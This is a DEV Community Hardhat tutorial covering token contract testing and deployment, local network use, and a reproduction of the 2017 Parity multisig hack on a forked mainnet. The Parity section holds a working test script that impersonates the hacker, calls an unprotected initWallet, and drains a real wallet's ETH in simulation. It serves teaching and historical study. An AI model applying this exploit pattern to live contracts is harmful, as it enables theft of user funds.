DEV Community

Cover image for The Complete Hands-On Hardhat Tutorial
Rodrigo Herrera Itie
Rodrigo Herrera Itie

Posted on

The Complete Hands-On Hardhat Tutorial

Hardhat is one of the most popular tools in the Ethereum developer’s stack. In this tutorial, we are going to learn how to use Hardhat and understand its main features. This tutorial is going to be primarily hands-on; we are going to do the following projects:

Project 1: For the first project, the main purpose is to have a general understanding as to how Hardhat works. We will create a smart contract, test it, deploy it on Rinkeby, and verify it on Etherscan.

Project 2: For the second project, we will recreate the Parity hack. One of the biggest hacks in Ethereum’s history.

Project 3: Lastly, we will interact with a contract and EOA’s by running the Hardhat network inside of our machines.
After completing the 3 projects, you should have a good understanding of how Hardhat works in real action.

Here is the github repo for the 3 projects: https://github.com/rodrigoherrerai/hardhat-tutorial/tree/master

Prerequisites:
In order to follow along with this tutorial, it is advisable to have the following knowledge:

  • Familiarity with Solidity
  • Familiarity with Ethereum (EVM)
  • Familiarity with JavaScript
  • Good understanding of blockchain’s fundamentals
  • Familiarity with the command line
  • Familiarity with unit testing

Before starting, I want to give a shout-out to other very nice tools:

Truffle Suite: Built with JavaScript, developed by Consensys. It was one of the first developer environments on Ethereum, you can find it here.
Brownie: If you like Python, this is the way to go. You can check it here.
Dapp tools: here.
Foundry: A re-write of Dapp tools in Rust by the Paradigm team, you can find it here.

Let’s start!

What is Hardhat ?

Hardhat is a development environment to compile, test, deploy, and debug Ethereum software. It helps developers manage and automate the recurring tasks that are inherent to the process of building smart contracts and dApps, as well as easily introducing more functionality around this workflow. This means compiling, running and testing smart contracts at the very core.

Hardhat will help you with the entire smart contract development journey. From the initial creation, testing, interacting and deployment. It is also very helpful for testing already deployed contracts and creating “future assumptions”.

Below you will find a simple diagram with a very basic developer workflow before deploying a contract:

Image description

Hardhat is an excellent tool for these steps of the developer’s journey, it will go with you along the way. Let’s unpack them a little more:

Smart Contract Creation / Testing: This is the step where you code the contracts. Usually you have a symbiotic relationship between writing smart contracts and testing code, this is because you need to test every single bit of code. Hardhat is very good at this because it provides very nice plugins for testing and optimizing the code.

Deployment: In this step, you compile the code (convert the solidity or vyper) code into bytecode, optimize it, and deploy it. Hardhat has a lot of nice plugins which we will see later that are very useful.

In addition, with Hardhat you can recreate past scenarios. For example, you can tell Hardhat to go back in time and act as if we were in “x” date to re-do a hack, or whatever else you wish to do. This is done through forking the mainnet. We will review this feature in the second project.

As you can see, Hardhat gives us a lot of nice features to do magic in Ethereum (or EVM compatible chains).

Hardhat’s Architecture

Hardhat is designed around the concepts of tasks and plugins. The bulk of Hardhat’s functionality comes from plugins, which as a developer you’re free to choose the one you want to use. Hardhat is unopinionated in regards to the tools you end up using, but it comes with some built-in defaults that can be overridden.

Plugins → Plugins are the backbone of Hardhat, and they’re built using the same config DSL that you use in your Hardhat configuration. You can find the full list of Hardhat’s plugins here.

Tasks → A task is a JavaScript async function with some associated metadata. This metadata is used by Hardhat to automate some things for you. Arguments parsing, validation, and help messages are taken care of. Everything you can do in Hardhat is defined as a task.

You can think of plugins as reusable pieces of code that add extra functionality to the base layer. The nice thing about this, is that you can either create a plugin yourself, or use any of the many community and / or Hardhat’s plugins.

Hardhat Network
Hardhat comes built-in with Hardhat Network, a local Ethereum network node designed for development.

Ethereum at its core, is a set of specifications that all clients must comply with. There are different implementations of the Ethereum protocol (that is a client), the most used one is GETH (written in GO). But there are others written in different languages. The important thing, is that all of them must follow the specifications of Ethereum.

Under the hood, Hardhat uses the JS implementation of the EVM to run your files. This means that you are running the Ethereum JS on your machine. That is how Hardhat knows what to do when you send transactions, test, and deploy your contracts internally.

Project Structure

Below you will find a diagram that shows how an average architecture structure looks like. Keep in mind that every project is different, and size varies a lot. But this is just to get a general understanding.

Image description

Let’s analyze each directory:

contracts → Here you will have all of your contracts and derived contracts. This means, that all the contracts, interfaces, libraries and abstract contracts that you create, will be under the contracts folder. The only exception is if you are importing other contracts through the npm package.

deployments → Under deployments, you will have scripts to deploy the contracts to a network.

test → All the test cases go under this folder. It is good to separate the tests per contract file as shown in the diagram.

hardhat.config.js →The configuration file for Hardhat.

Now that we have a general understating of how Hardhat works theoretically, let’s start with the projects!

NOTE: We will repeat many tasks throughout the 3 projects. This is done on purpose to increase practice.

Project 1. Creating, Testing, Deploying and Verifying a Simple Token Contract

Installation and Environment Setup

Hardhat is used through a local installation in your project. This way your environment will be reproducible, and you will avoid future version conflicts.

You should have node installed, you can check by running:

node -v
Enter fullscreen mode Exit fullscreen mode

If you don’t have it installed, you can check the installation process here.
For the whole tutorial, we will be creating all of our projects inside of “hardhat-tutorial”. So for the first project, we will create a directory called “project1” and work from there.
Run the following commands:

mkdir hardhat-tutorial
cd hardhat-tutorial
mkdir project1
cd project1
npm init -y
npm install --save-dev hardhat
Enter fullscreen mode Exit fullscreen mode

Once you have hardhat installed, run the following command:

npx hardhat
Enter fullscreen mode Exit fullscreen mode

You should see the following output:

Image description

Select the option “Create an empty hardhat.config.js”. This will just give us an empty hardhat configuration file, we will review it in more detail later on.

Once you have that installed, install the following plugins:

npm install --save-dev @nomiclabs/hardhat-ethers ethers @nomiclabs/hardhat-waffle ethereum-waffle chai
Enter fullscreen mode Exit fullscreen mode

These are one of the most used plugins of hardhat, we are installing hardhat-ethers and hardhat-waffle. Ethers is a library to interact with Ethereum and waffle is a framework for testing smart contracts.

Once you have that ready, open your hardhat.config.js file and add the following code:

Image description

In here, we are just requiring hardhat-ethers and hardhat waffle, and telling hardhat that we want to use the Solidity’s compiler version “0.8.8”. Later on, we will add more complexity and go into more detail.

Once we have the basic configuration ready, let’s start with the fun part.

For the first project, we are going to build a very simple smart contract, test it, and deploy it on Rinkeby. This is just so you have a first glimpse of the process of creating, testing, and deploying a contract.

Creating the contract

The first thing we need to do, is create a contracts directory, as shown in the “simple-smart-contracts-project-structure” diagram.

mkdir contracts
Enter fullscreen mode Exit fullscreen mode

Inside of contracts, we are going to create a file with the name Token.sol.

Remember that it is good practice to name the file the same as the contract.

touch contracts/Token.sol
Enter fullscreen mode Exit fullscreen mode

You should have this folder structure if done everything correctly:

Image description

Inside of the Token file, add the following code:

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0 <0.9.0;

/**
 * @title Token - a simple example (non - ERC-20 compliant) token contract.
 */
contract Token {
    address private owner;

    string public constant name = "MyToken";

    uint256 private totalSupply;

    mapping(address => uint256) private balances;

    /**
     * @param _totalSupply total supply to ever exist.
     */
    constructor(uint256 _totalSupply) {
        owner = msg.sender;
        totalSupply = _totalSupply;
        balances[owner] += totalSupply;
    }

    /**
     * @param _amount amount to transfer. Needs to be less than balances of the msg.sender.
     * @param _to address receiver.
     */
    function transfer(uint256 _amount, address _to) external {
        require(balances[msg.sender] >= _amount, "Not enough funds");
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
    }

    /**
     * @param _address address to view the balance.
     */
    function balanceOf(address _address)
        external
        view
        returns (uint256 result)
    {
        result = balances[_address];
    }

    /**
     * @notice returns the total supply.
     */
    function getTotalSupply() external view returns (uint256 _totalSupply) {
        _totalSupply = totalSupply;
    }
}
Enter fullscreen mode Exit fullscreen mode

This is a very simple Token contract (non ERC-20 compliant) where we are giving all the initial supply to the owner.

Again, the purpose here is to understand how to test and deploy a contract.

Testing the contract

Once you have the Token.sol ready, create a test folder. Inside of the folder, create a file called token.js:

mkdir test
touch test/token.js
Enter fullscreen mode Exit fullscreen mode

This should be your file structure:

Image description

Add the following test cases inside of your token.js file:

const { expect } = require("chai");
const { ethers } = require("hardhat");


describe("Token.sol", () => {
    let contractFactory;
    let contract;
    let owner;
    let alice;
    let bob;
    let initialSupply;
    let ownerAddress;
    let aliceAddress;
    let bobAddress;

    beforeEach(async () => {
        [owner, alice, bob] = await ethers.getSigners();
        initialSupply = ethers.utils.parseEther("100000");
        contractFactory = await ethers.getContractFactory("Token");
        contract = await contractFactory.deploy(initialSupply);
        ownerAddress = await owner.getAddress();
        aliceAddress = await alice.getAddress();
        bobAddress = await bob.getAddress();
    });

    describe("Correct setup", () => {
        it("should be named 'MyToken", async () => {
            const name = await contract.name();
            expect(name).to.equal("MyToken");
        });
        it("should have correct supply", async () => {
            const supply = await contract.getTotalSupply();
            expect(supply).to.equal(initialSupply);
        });
        it("owner should have all the supply", async () => {
            const ownerBalance = await contract.balanceOf(ownerAddress);
            expect(ownerBalance).to.equal(initialSupply);
        });
    });

    describe("Core", () => {
        it("owner should transfer to Alice and update balances", async () => {
            const transferAmount = ethers.utils.parseEther("1000");
            let aliceBalance = await contract.balanceOf(aliceAddress);
            expect(aliceBalance).to.equal(0);
            await contract.transfer(transferAmount, aliceAddress);
            aliceBalance = await contract.balanceOf(aliceAddress);
            expect(aliceBalance).to.equal(transferAmount);
        });
        it("owner should transfer to Alice and Alice to Bob", async () => {
            const transferAmount = ethers.utils.parseEther("1000");
            await contract.transfer(transferAmount, aliceAddress); // contract is connected to the owner.
            let bobBalance = await contract.balanceOf(bobAddress);
            expect(bobBalance).to.equal(0);
            await contract.connect(alice).transfer(transferAmount, bobAddress);
            bobBalance = await contract.balanceOf(bobAddress);
            expect(bobBalance).to.equal(transferAmount);
        });
        it("should fail by depositing more than current balance", async () => {
            const txFailure = initialSupply + 1;
            await expect(contract.transfer(txFailure, aliceAddress)).to.be.revertedWith("Not enough funds");
        });
    });
});

Enter fullscreen mode Exit fullscreen mode

The description of the test cases should be self explanatory. But we are just testing the basic functionality of the Token.sol contract.

Once you have that ready, run the following command to test that file:

npx hardhat test
Enter fullscreen mode Exit fullscreen mode

If everything went well, you should see all the test cases passing:

Image description

“npx hardhat test” is a global task in Hardhat, it basically says, go look inside of a folder with the name “test” and check for test cases. Keep in mind, that if you change the name of the folder, it will not work unless you specify the location: “npx hardhat test ”. Specifying the exact location is also very useful when the project gets bigger. This is because you don’t want to be testing everything all the time, it is very time consuming.

For our case, we could also test the file like so:

npx hardhat test test/token.js
Enter fullscreen mode Exit fullscreen mode

Once you have that ready, let’s go deploy the contract in Rinkeby.

Deploying the contract

In order to deploy the contract, we first need to do some changes to our config file. Before doing that, install the following dependency:

npm install dotenv
Enter fullscreen mode Exit fullscreen mode

Dotenv is a zero-dependency module that loads environment variables from a .env file into process.env. We will use dotenv to keep our private key safe when pushing code to github or somewhere else.

Once you have dotenv installed, create .env file and add the following variables:

touch .env
Enter fullscreen mode Exit fullscreen mode

Inside dotenv:

PRIVATE_KEY = YOUR_PRIVATE_KEY
URL = https://... infura or alchemy node
Enter fullscreen mode Exit fullscreen mode

You just need to add your private key and a url connection with Infura, alchemy, or whatever provider you want to use (make sure to have some rinkeby eth in that account).

Notice: Be sure to select Rinkeby network.

Once ready, make the following changes in hardhat.config.js:

Image description

In order to use dotenv, we need to import it at the top level → “require(“dotenv”).config();”. After that, we can create our variables and get the values by → process.env.VARIABLE_NAME. It is good practice to make the variable names all caps.
We also modified the module, we added the keyword “networks”, this is to specify Hardhat, in which network we want to deploy our contract e.g. “rinkeby”, “ropsten”, “mainnet” etc… Followed by an url (node connection) and account (private key to deploy the contract).

Once ready, we need to create a deployments directory, followed by a deployToken.js file:

mkdir deployments
touch deployments/deployToken.js
Enter fullscreen mode Exit fullscreen mode

Inside of deployToken.js add the following code:

Image description

This is the script that we will use to deploy our contract.

const initialSupply = ethers.utils.parseEther(“100000”); → We are creating a variable called initialSupply that has a value of 100,000 * 10 ^18.

const [deployer] = await ethers.getSigners(); → This is the deployer of the contract, the address of the private key that was provided in the .env file.

*const tokenFactory = await ethers.getContractFactory(“Token”); *→ Ethers abstraction of the contract, in order to deploy it.

const contract = await tokenFactory.deploy(initialSupply); → This line of code deploys the contract with the initialSupply as constructor argument. Of course, if you would have no constructor arguments then you would have to leave it blank. Likewise, if you would have more constructor arguments, you would need to provide all of them here.

Once ready, we are going to compile the contract. Remember that the Ethereum Virtual Machine has no idea what solidity is, it doesn’t understand it. It only understands bytecode, machine-readable code.

Run:

npx hardhat compile
Enter fullscreen mode Exit fullscreen mode

You should see two new directories, artifacts and cache:

Image description

All the relevant information like the ABI (application binary interface) and bytecode, will be under artifacts/contracts/CONTRACT_NAME/CONTRACT_NAME.json . For our case: artifacts/contracts/Token.sol/Token.json

Inspect the file inside, the ABI is basically the way we can interact with the contract. It has all of the function’s specifications like arguments, state mutability and names. At the bottom of the file, you will also find the contract’s bytecode.

Now is the the time to finally deploy the contract to Rinkeby, in order to do that, we need to tell Hardhat to run the script: npx hardhat run — network . For our case, run:

npx hardhat run deployments/deployToken.js --network rinkeby
Enter fullscreen mode Exit fullscreen mode

If everything went well, you should see the address of the deployed contract.

Verifying the contract

Verifying the contract on Etherscan is important so people can see the source code, this enhances trust and security. It enhances trust because people can see the source of the protocol they are interacting with. And security, because there will be more eyeballs, so the longer the time it passes, the less chances there are of a potential hack.

Go to https://rinkeby.etherscan.io/ and input the address that was just deployed, and click the “contract” tab, you should see only the bytecode:

Image description

Harhdat facilitates the process of verifying the source with the plugin hardhat-etherscan. The first thing we need to do is install the plugin:

npm install --save-dev @nomiclabs/hardhat-etherscan
Enter fullscreen mode Exit fullscreen mode

Once installed, we need to make some adjustments to our config file:

Image description

In order to verify the contract, you need to get an Etherscan api key. Once you have it, make sure to add it on the .env file.

In order to verify the contract, we need to run the following command: npx hardhat verify — network .

npx hardhat verify --network rinkeby CONTRACT_ADDRESS "100000000000000000000000"
Enter fullscreen mode Exit fullscreen mode

Note: Replace the CONTRACT_ADDRESS for the newly created contract’s address.

If everything went well, it should say “Successfully verified contract Token on Etherscan”. If we now take a look at the contract, we should see the verified source code:

Image description

That’s it for the first project !

Project 2. Recreating the Parity Wallet Hack

The parity hack was a very large and important hack in Ethereum. The attacker stole over 150000 ETH.

What we are going to do, is go back in time (or in Ethereum’s block length if you may) and act as the hacker in order to steal the funds. Before continuing, it is important to understand what went wrong.

Multi-sig wallets are very good for storing large amount of funds and/or to mitigate one party risks. Usually how they work, is by having a set of owners and a threshold. The threshold is the minimum signatures needed to execute a given transaction.

Without going into too much detail, there is an implementation contract or a “singleton” with all of the wallet’s functionality, and a proxy factory that deploys proxy contracts that delegate all calls to the implementation contract. So when you create a new wallet, it has a unique address and storage, but delegates all calls to the implementation contract.

Ok, so what went wrong ?

Usually when you have this type of architecture, you need to make sure that: 1) All functions that change the state are protected (only a certain group of people can call them).
2) The initial function that sets up the contract can only be called once.

If we see their code, the initWallet function is open for everyone to call. This means that you can just call the function directly, add your address as an owner, and take control of the wallet.

Image description

So, what the hacker immediately did after discovering the vulnerability, is to search for the wallets with the highest amount of Eth. For this example, we are going to go back to block 4043802 and get 82189 Eth from a particular wallet. You can see the real transaction here. Below is a snapshot of the transaction:

Image description

Before moving forward, we need to learn some nice features of Hardhat that we will use to recreate the hack:

Mainnet forking: You can start an instance of Hardhat Network that forks mainnet. This means that it will simulate having the same state as mainnet, but it will work as a local development network. That way you can interact with deployed protocols and test complex interactions locally. While forking mainnet, there are some very nice features:

  • impersonate accounts → This feature allows you to act as if we were the owners of a given account. For our example, we are going to act as if we were the hacker.

  • pinning a block → Hardhat allow you to specify a block number. This means that the state of the chain will act as if we were at that given block. NOTE: In order to pin a block, you need access to an archival node (Alchemy provides this).

For our example, we will primarily use these features, but if you want to check all of them, go here.

Let’s move forward.

The first thing we need to do, is setup our new project. Inside of hardhat-tutorial, create a new directory called “project2”. Then, let’s have our basic setup. Here are the commands, be sure to be inside of hardhat-tutorial:

mkdir project2
cd project2
npm init -y
npm install --save-dev hardhat
npx hardhat
Enter fullscreen mode Exit fullscreen mode

Image description

Select “Create an empty hardhat.config.js”

Then install some hardhat plugins and dotenv :

npm install --save-dev @nomiclabs/hardhat-ethers ethers @nomiclabs/hardhat-waffle ethereum-waffle chai
npm install dotenv
Enter fullscreen mode Exit fullscreen mode

For this project, we are actually not going to write any smart contracts. This is because we are acting as the “hacker”, so we are sending a transaction from our Externally Owned Account.

As previously mentioned, in order to fork mainnet, we need to have an archival node. Alchemy provides such a thing, so get an alchemy url and be sure to select Mainnet.

Once ready, create a dotenv file and add the url:

touch .env
Enter fullscreen mode Exit fullscreen mode

Inside .evn:

ALCHEMY_URL = https://eth-mainnet.alchemyapi.io/v2/....
Enter fullscreen mode Exit fullscreen mode

Then add the following code in your hardhat.config.js file:

Image description

As you can see, the syntax is pretty straight forward, we just need to tell Hardhat that we are forking the chain, provide an archival node and a block number. It is not mandatory to provide a block number, if you don’t provide one, hardhat will fork to the latest state.

The next step, is to create our test cases where we will implement all of the logic (hacking). Go ahead and run the following commands:

mkdir test
touch test/parityHack.js
Enter fullscreen mode Exit fullscreen mode

Before showing the code, it is very important to understand what we are doing.

  1. We are going back to block number 4043801 → The actual hack was in block 4043802, but we can’t do it on that block because that is when the hacker drained all the funds.

  2. We are impersonating the hacker’s account, here is the address: 0xB3764761E297D6f121e79C32A65829Cd1dDb4D32

  3. We are calling the unprotected initWallet function so we take control of the wallet. Here is the wallet address: 0xBEc591De75b8699A3Ba52F073428822d0Bfc0D7e

  4. We are transferring all the funds to the hacker’s account.

Inside of parityHack.js add the following code:

const { expect } = require("chai");
const { ethers } = require("hardhat");

const walletAddress = "0xBEc591De75b8699A3Ba52F073428822d0Bfc0D7e";
const hackerAddress = "0xB3764761E297D6f121e79C32A65829Cd1dDb4D32";
const abi = [
    "function initWallet(address[] _owners, uint _required, uint _daylimit)",
    "function execute(address _to, uint _value, bytes _data) external"
]
const blockNumber = 4043801;

describe("Parity Hack", () => {
    let hacker;
    let wallet;

    beforeEach(async () => {
        // impersonating the hacker's account.
        await hre.network.provider.request({
            method: "hardhat_impersonateAccount",
            params: [hackerAddress],
        });
        hacker = await ethers.getSigner(hackerAddress);
        wallet = new ethers.Contract(walletAddress, abi, hacker);
    });

    it(`should be block number: ${blockNumber}`, async () => {
        const _blockNumber = await ethers.provider.getBlockNumber();
        expect(_blockNumber).to.equal(blockNumber);
    });

    it("should steal funds and update balances", async () => {
        const walletBalancePrior = await ethers.provider.getBalance(walletAddress);
        const hackerBalancePrior = await ethers.provider.getBalance(hackerAddress);
        // we call the unprotected initWallet method.
        await wallet.connect(hacker).initWallet([hackerAddress], 1, 0);
        console.log(`wallet balance prior to the hack --> ${ethers.utils.formatEther(walletBalancePrior)} Eth`);
        console.log(`hacker balance prior to the hack --> ${ethers.utils.formatEther(hackerBalancePrior)} Eth`);
        expect(Math.trunc(Number(walletBalancePrior))).to.be.greaterThan(0);
        // stealing all the funds, sending them to hackerAddress.
        await wallet.connect(hacker).execute(hackerAddress, walletBalancePrior, "0x");
        const hackerBalancePost = await ethers.provider.getBalance(hackerAddress);
        const walletBalancePost = await ethers.provider.getBalance(walletAddress);
        console.log(`wallet balance after the hack --> ${ethers.utils.formatEther(walletBalancePost)} Eth`);
        console.log(`hacker balance after the hack --> ${ethers.utils.formatEther(hackerBalancePost)}`);
        const hackedAmount = hackerBalancePost.sub(hackerBalancePrior);
        console.log(`Succesfully hacked --> ${ethers.utils.formatEther(hackedAmount)}Eth`);
        // wallet should have 0 ether.
        expect(walletBalancePost).to.equal(0);
        // Hacker should have more Eth than before this execution.
        expect(Math.trunc(Number(hackerBalancePost))).to.be.greaterThan(Math.trunc(Number(hackerBalancePrior)));
    });
});

Enter fullscreen mode Exit fullscreen mode

Then test the file by running:

npx hardhat test
Enter fullscreen mode Exit fullscreen mode

Output:

Image description

As you can see, we successfully drained all the wallet’s funds!

Project 3. Using the Hardhat Network

We previously saw a quick definition of Hardhat network. Let’s go into a little more depth:

Hardhat comes built-in with Hardhat Network, a local Ethereum network node designed for development. It allows you to deploy your contracts, run your tests and debug your code.

It runs as either an in-process or stand-alone daemon, servicing JSON-RPC and WebSocket requests. By default, it mines a block with each transaction that it receives, in order and with no delay. As stated previously, it is backed by ethereumjs/vm.

This feature allows you to play around with with externally owned accounts, deploy and interact with smart contracts very fast.

Let’s see how this works.

NOTE: Hardhat comes with 20 deterministic accounts. Deterministic means that the 20 accounts are the same for everyone using Hardhat. ALL THE PRIVATE KEYS ARE COMPROMISED, NEVER SEND REAL FUNDS TO THESE ACCOUNTS, THEY ARE ONLY FOR TESTING PURPOSES!

First, we need to have our basic setup. Create a directory called “project3” with all the basic config:

  • Be sure to be located in the root directory
mkdir project3
cd project3
npm init -y
npm install --save-dev hardhat
npm install --save-dev @nomiclabs/hardhat-ethers
npx hardhat
Enter fullscreen mode Exit fullscreen mode

Select “Create an empty hardhat.config.js”.

Then, let’s create a contract named “Hello”. This simple contract will just have a function that returns “hello” (the purpose here is to demonstrate how to interact with the Hardhat network). Go ahead and create Hello.sol under the contracts directory:

mkdir contracts
touch contracts/Hello.sol
Enter fullscreen mode Exit fullscreen mode

Add the following code and then compile the contract:

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0 <0.9.0;

contract Hello {
    function hello() external pure returns (string memory _hello) {
        _hello = "hello";
    }
}
Enter fullscreen mode Exit fullscreen mode
npx hardhat compile
Enter fullscreen mode Exit fullscreen mode

Then we are ready to deploy the contract to the hardhat network.

As you should remember, we need to create a deployment script:

mkdir deployments
touch deployments/deployHello.js
Enter fullscreen mode Exit fullscreen mode

Then inside of deployHellos.js add the following code:

const main = async () => {

    const [deployer] = await ethers.getSigners();
    console.log(`Address deploying the contract --> ${deployer.address}`);

    const helloFactory = await ethers.getContractFactory("Hello");
    const contract = await helloFactory.deploy();

    console.log(`Hello contract address --> ${contract.address}`);
}

main()
    .then(() => process.exit(0))
    .catch((error) => {
        console.error(error);
        process.exit(1);
    });

Enter fullscreen mode Exit fullscreen mode

Before running the script, we need to have the network running.

Run:

npx hardhat node
Enter fullscreen mode Exit fullscreen mode

You should see the server running at http://127.0.0.1:8545/, this will be our main endpoint and also see the 20 deterministic accounts of Harhdat.

Image description

In order to deploy the contract, you need to keep the chain running, so open up another terminal and run:

npx hardhat run — network localhost

npx hardhat run --network localhost deployments/deployHello.js
Enter fullscreen mode Exit fullscreen mode

You should see a similar output in the terminal that is running the blockchain:

Image description

As you can see, by running the chain locally, we can have a more “in depth” access of what is happening behind the scenes.

Make sure to copy the address of the new contract (it should be on the other terminal window).

Once ready, create a main.js file:

touch main.js
Enter fullscreen mode Exit fullscreen mode

In here, we we will just do simple operations like showing the balances, making transactions, and interacting with our Hello contract.

Add the following code in main.js:

const { ethers } = require("ethers");

const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");

// These are Harhdat's deterministic accounts
// NEVER SEND REAL FUNDS TO THESE ACCOUNTS!
const account0 = new ethers.Wallet("0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80", provider);
const account1 = new ethers.Wallet("0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d", provider);
const account19 = new ethers.Wallet("0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e", provider);

const CONTRACT_ADDRESS = "0x5FbDB2315678afecb367f032d93F642f64180aa3"; // address of the new contract.
const { abi } = require("./artifacts/contracts/Hello.sol/Hello.json");

const balances = async () => {
    const account0Balance = await provider.getBalance(account0.address);
    console.log(`account0 balance: ${ethers.utils.formatEther(account0Balance)} Eth`);
    const account1Balance = await provider.getBalance(account1.address);
    console.log(`account1 balance: ${ethers.utils.formatEther(account1Balance)} Eth`);
    const account19Balance = await provider.getBalance(account19.address);
    console.log(`account19 balance: ${ethers.utils.formatEther(account19Balance)} Eth`);
}

const sendTx = async () => {
    const amount = ethers.utils.parseEther("5000") //5000 Eth.
    await account1.sendTransaction({ to: account19.address, value: amount });
    const account1Balance = await provider.getBalance(account1.address);
    console.log(`account1 balance: ${ethers.utils.formatEther(account1Balance)} Eth`);
    const account19Balance = await provider.getBalance(account19.address);
    console.log(`account19 balance: ${ethers.utils.formatEther(account19Balance)} Eth`);
}

const contractInteraction = async () => {
    const contract = new ethers.Contract(CONTRACT_ADDRESS, abi, provider);
    const result = await contract.hello();
    console.log(`result: ${result}`);
}
Enter fullscreen mode Exit fullscreen mode

Play around with the file, call each function independently to see the output.

To run the file:

node main.js
Enter fullscreen mode Exit fullscreen mode

Additional plugins and tasks

There are a lot of very nice plugins, tasks, and features. Unfortunately, we cannot cover all of them. I will share the ones that I find the most useful and the ones I see big projects use the most:

Console.sol: Hardhat allows you to console log inside of the smart contracts, this is extremely useful for debugging. In order to do it, you just need to import “hardhat/console.sol”. If we go back to our Token example, it would look like this:

Image description

If you see, we are logging the total supply inside the constructor. Here is the output when you run the test file:

Image description

Typescript integration: When you are developing large projects, you usually want to use a strongly typed language to have less errors. Go here to check out the installation requirements.

Verifying a contract: As we saw in our first example, hardhat makes verifying the contract’s source code very simple. If you want to dig deeper, go here.

Mainnet forking: As we previously saw in the second example, mainnet forking is incredibly useful to interact with already deployed protocols and to simulate the state of the chain. For example, if you have a contract that interacts with Uniswap, you can fork the chain and simulate the transactions. If you want to go deeper, go here.

Testing: Testing is one of the most important steps in the development process of a dapp. Hardhat provides a lot of nice plugins to make the testing better. An out of the box plugin combo is ethers.js and waffle. If you want to know more, go here.

Gas reporter: This plugin tells you the gas usage per unit test. Go here for more details.

That’s it ! :)

Oldest comments (1)

Collapse
 
blueskyson profile image
Jack Lin

Rinkeby seems down now. Can I use Sepolia instead?